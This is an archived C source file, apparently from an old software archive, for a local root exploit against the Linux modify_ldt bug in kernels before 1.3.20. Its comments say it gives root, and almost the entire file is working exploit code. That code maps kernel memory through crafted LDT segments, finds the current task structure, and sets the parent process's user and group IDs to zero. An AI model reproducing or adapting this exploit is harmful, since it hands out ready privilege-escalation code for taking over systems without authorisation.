home *** CD-ROM | disk | FTP | other *** search
-
-
- /* this is a hack of a hack. a valid System.map was needed to get this
- sploit to werk.. but not any longer.. This sploit will give you root
- if the modify_ldt bug werks.. which I beleive it does in any kernel
- before 1.3.20 ..
-
- QuantumG
- */
-
- /* original code written by Morten Welinder.
- *
- * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
- * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
- * 2. the _task in the System.map file has no leading underscore.
- * I am not sure at what point these were changed, if you are
- * using this on a newer kernel compile with NEWERKERNEL defined.
- * -ReD
- */
-
- #include <linux/ldt.h>
- #include <stdio.h>
- #include <linux/unistd.h>
- #include <signal.h>
- #ifdef NEWERKERNEL
- #include <asm/sigcontext.h>
- #endif
- #define __KERNEL__
- #include <linux/sched.h>
- #include <linux/module.h>
-
- static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
- static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
-
-
- #define KERNEL_BASE 0xc0000000
- /* ------------------------------------------------------------------------ */
- static __inline__ unsigned char
- __farpeek (int seg, unsigned ofs)
- {
- unsigned char res;
- asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
- : "=a" (res)
- : "r" (seg), "r" (ofs));
- return res;
- }
- /* ------------------------------------------------------------------------ */
- static __inline__ void
- __farpoke (int seg, unsigned ofs, unsigned char b)
- {
- asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
- : /* No results. */
- : "r" (seg), "r" (ofs), "r" (b));
- }
- /* ------------------------------------------------------------------------ */
- void
- memgetseg (void *dst, int seg, const void *src, int size)
- {
- while (size-- > 0)
- *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
- }
- /* ------------------------------------------------------------------------ */
- void
- memputseg (int seg, void *dst, const void *src, int size)
- {
- while (size-- > 0)
- __farpoke (seg, (unsigned)(dst++), *(char *)src++);
- }
- /* ------------------------------------------------------------------------ */
- int
- main ()
- {
- int stat, i,j,k;
- struct modify_ldt_ldt_s ldt_entry;
- FILE *syms;
- char line[100];
- struct task_struct **task, *taskptr, thistask;
- struct kernel_sym blah[4096];
-
- printf ("Bogusity checker for modify_ldt system call.\n");
-
- printf ("Testing for page-size limit bug...\n");
- ldt_entry.entry_number = 0;
- ldt_entry.base_addr = 0xbfffffff;
- ldt_entry.limit = 0;
- ldt_entry.seg_32bit = 1;
- ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
- ldt_entry.read_exec_only = 0;
- ldt_entry.limit_in_pages = 1;
- ldt_entry.seg_not_present = 0;
- stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
- if (stat)
- /* Continue after reporting error. */
- printf ("This bug has been fixed in your kernel.\n");
- else
- {
- printf ("Shit happens: ");
- printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
- }
-
- printf ("Testing for expand-down limit bug...\n");
- ldt_entry.base_addr = 0x00000000;
- ldt_entry.limit = 1;
- ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
- ldt_entry.limit_in_pages = 0;
- stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
- if (stat)
- {
- printf ("This bug has been fixed in your kernel.\n");
- return 1;
- }
- else
- {
- printf ("Shit happens: ");
- printf ("0x00000000 - 0xfffffffd is accessible.\n");
- }
-
- i = get_kernel_syms(blah);
- k = i+10;
- for (j=0; j<i; j++)
- if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
- if (k==i+10) { printf("current not found!!!\n"); return(1); }
- j=k;
-
- taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
- memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
- taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
- memgetseg (&thistask, 7, taskptr, sizeof (thistask));
- if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
- printf("Current process is %i\n",thistask.pid);
- taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
- memgetseg (&thistask, 7, taskptr, sizeof (thistask));
- if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
- printf("Parent process is %i\n",thistask.pid);
- thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
- thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
- memputseg (7, taskptr, &thistask, sizeof (thistask));
- printf ("Shit happens: parent process is now root process.\n");
- return 0;
- };
-
-
-